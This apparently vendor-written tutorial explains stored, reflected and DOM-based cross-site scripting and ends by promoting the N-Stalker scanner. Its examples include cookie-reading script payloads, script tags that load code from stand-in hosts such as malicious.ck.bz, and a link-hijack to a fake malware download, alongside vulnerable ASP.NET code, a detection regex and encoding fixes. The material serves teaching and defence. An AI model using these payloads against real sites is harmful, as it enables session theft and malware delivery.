What is a Cross-site Scripting attack?

The so-called Cross-site scripting (XSS) consists of a vulnerability caused by failure in the validation of user’s input parameters within the web application towards the output HTML document. This attack allows HTML code to be inserted into target user’s browser on an arbitrary way.

Technically, this problem occurs when an input parameter from user is integrally submitted by the browser, as in the case of a javascript code that is to be then interpreted as part of the legitimate application, with access to all document entities (DOM). In practice, the party responsible for the attack is able to execute instructions into the victim’s browser using a vulnerable web application, as well as can modify structures of the HTML document and even use such invasion to perpetrate illegal scams such as phishing.

A good example is an application functioning like a forum, whereby the user is granted permission to include messages issued by him/herself own so that other users can read it. If such application does not correctly filter the HTML codes, an ill-intentioned user will be able to inject instructions for reading of specific information belonging to the legitimate user, such as session codes and even perform specific duties like sending messages in an arbitrary way to the forum.

Types of XSS attacks

 Persistent (Stored)

 In this specific case, the malicious code can be permanently stored into the web/application server, like being into a database, forum, comment field, etc.. The user becomes a victim upon accessing the area affected by the storage of the ill-intentioned code.

This XSS type is generally more significant than others, as an ill-intentioned user can potentially reach a great range of users with only a specific action and thus facilitate the social engineering process. In some cases, the affected browser can even behave as if it had been infected by a worm, replicating copies to each user that happens to execute the ill-intentioned code.

Example of a persistent XSS:

Suppose there is a web application that allows the insertion of HTML code integrally into the name and surname input fields, in the form used for the updating of user’s preferences:

<script>alert(document.cookie)</script>

Thus, when a search procedure is executed to find the registered users, the HTML code mentioned above will be executed at the moment user appears in the list of search results.

Variations of such attack can be used to allow that the ill-intentioned user modifies the arbitrary code in accordance with the type of infected requisition or client, using, for example, a reference to a remote script:

 <A HREF="http://reliable.org.br/busca.cgi?CC=<SCRIPT SRC='http://malicious.ck.bz/badguy.js'></SCRIPT>"> Vá para Confiável.org.br</A>

In this example, the reliable site does not have adequate filters to protect itself from the insertion of the HTLM code that makes reference to the malicious script:

echo ‘<h1>Your search tearm is : ’ + getParameter(‘CC’) + ‘</h1>’;

The HTML code executed into the target user’s browser would result on loading an arbitrary script file strange to the application and containing any types of instructions the ill-intentioned user might wish to use:

<h1>Seu termo de busca é <SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT></h1>

Reflected

The exploit of such vulnerability involves the elaboration of a request with code to be inserted built-in and reflect for the target users that effected the request. The HTML code inserted is delivered for application and returned as integrating part of the response code, allowing it to be executed in an arbitrary way by the browser belonging to the user him/herself.

This attack is generally executed by means of social engineering, by convincing the user that the requisition to be performed is a legitimate one. The consequences vary according with the nature of the vulnerability, which may range from the hijacking of valid sessions into the system, theft of credentials or accomplishment of arbitrary activities on behalf of the affected user.

Example of reflected XSS:

Take as example a web application that receives a “name” parameter containing the identification of the legitimate user also presenting contents without any filters:

http://www.vul.site/welcome.html?name=fulano

echo ‘<h1>Hell user ‘ + getParameter(‘name’) + ‘</h1>’;

Take into consideration the possibility that an ill-intentioned user may change the shortcut to include an arbitrary code to be executed into the target user’s browser:

http://www.vul.site/welcome.html?name=<script>alert(document.cookie)</script>

If a legitimate user (and with access to the vulnerable application) performs the above mentioned requisition, the javascript ‘alert(document.cookie)’ will be executed without much ado into the target user’s browser.

Other attack examples may include the replacement of all valid links belonging to the web application by a reference to a executable file containing a virus or a trojan horse:

http://www.vul.site/welcome.html?name=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

Effect of attack:

This type of attack corresponds to approximately 75% of XSS vulnerabilities affecting web applications in the Internet space.

DOM based

The Document object Model (DOM) is the standard used to interpret the HTML code in objects to be executed by the web browsers. The XSS attack based on DOM allows the modification of properties belonging to these objects direct into the target user’s browser, not depending on any interaction by the server that hosts the web application.

Differently from the persisting or reflected XSS attack types, the attack based on DOM does not need direct interactions with the web application and makes use vulnerabilities existing in the interpretation of the HTML code in the client-side’s environment.

Exemple of DOM based XSS:

Take as one example an application containing a javascript that chooses the type of style to be used in accordance with the parameter passed on by user:

<script>

var estilo = ‘style’ + location.hash + ‘.css’;

document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);

</script>

Now, take as one example a link built in a way to carry an arbitrary code, as per the example below:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

When executed into the user’s browser, the above reference will be used to insert an ill-intentioned script into the web context, unbeknownst to the affected web application (on the server’s side).

What would be the resulting impact and main consequences of such attack?

The XSS attacks are often used to cause damage to the legitimate users of a vulnerable application. For the corporation, the impact of the XSS vulnerability is mainly focused on its image and the possibility of using such flaw in the distribution of phishing and facilitation of scams.

Among the main consequences for the affected user, the following ones, listed below, are included:

• Session hijacking;
• Change of application’s HTML code (visible only on the client’s side);
• Redirecting of user to malicious sites;
• Change of DOM object for capture of data or sending of malware.

Is my application vulnerable to XSS attacks?

You must ensure that all user’s data inputs are (or are not) reliable. All user’s data to be used for construction of HTML context (body, attribute, JavaScript, CSS or URL) must be checked to ensure that they do not carry any active content (JavaScript, ActiveX, Flash, Silverlight, etc) and that they are codified in an adequate way, for example, transforming metacharacters into HTML escape codes.

A good reference to support filtering of data is the XSS attack dictionary released by OWASP.

On the other hand, the XSS attacks can also be avoided through the implementation of a web application filter, widely known as Web Application Firewall and also by means of prevention mechanisms, built into modern browsers.

Example of filter, using Apache

By using Apache’s rewrite module, the URL can be evaluated in accordance with a regular expression to determine the presence of metacharacters in the data received from user. For example, the following regular expression can be used to detect alphanumeric characters among tags or bars:

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Example of correction for vulnerable codes:

This is an example of code in vulnerable ASP.NET (v1.1), whose function is to research and return of data sent by user:

' SearchResult.aspx.vb

Imports System
Imports System.Web
Imports System.Web.UI
Imports System.Web.UI.WebControls

Public Class SearchPage Inherits System.Web.UI.Page

Protected txtInput As TextBox
Protected cmdSearch As Button
Protected lblResult As Label Protected

Sub cmdSearch _Click(Source As Object, _ e As EventArgs)

// Do Search…..

    // …………

lblResult.Text="You Searched for: " & txtInput.Text

// Display Search Results…..

// …………

End Sub
End Class

In order to remove the flaw and mitigate the vulnerability, it is necessary to include a validation of user’s input data by means of insertion of a “filter” which will prevent HTML codes from being explicitly exposed without an adequate codification:

Response.Write Server.HtmlEncode(inputTxt.Text)

Example of attacks (video)

•  Penetration Testing: Cross-Site Scripting Explained – 7Safe

• OWASP Appsec Tutorial Series – Episode 3: Cross Site Scripting (XSS)

How N-Stalker can help you!

The N-Stalker Web Application Security Scanner 2012 can help your organization find XSS issues in an automatic way. N-Stalker Free Edition’s standard installation brings a big set of predefined policies which already detects this vulnerability.

Download free edition of N-Stalker 2012.

In order to use such policy, please start a new scanning session through the scan wizard on N-Stalker’s main screen, by clicking on the “New Scan” button to start the “Scan Wizard” and, in “Choose Scan Policy” it is necessary to choose the ‘Full XSS Assessment’ policy so that analysis is focused on this specific vulnerability. Please note that you can modify and/or create your own policies.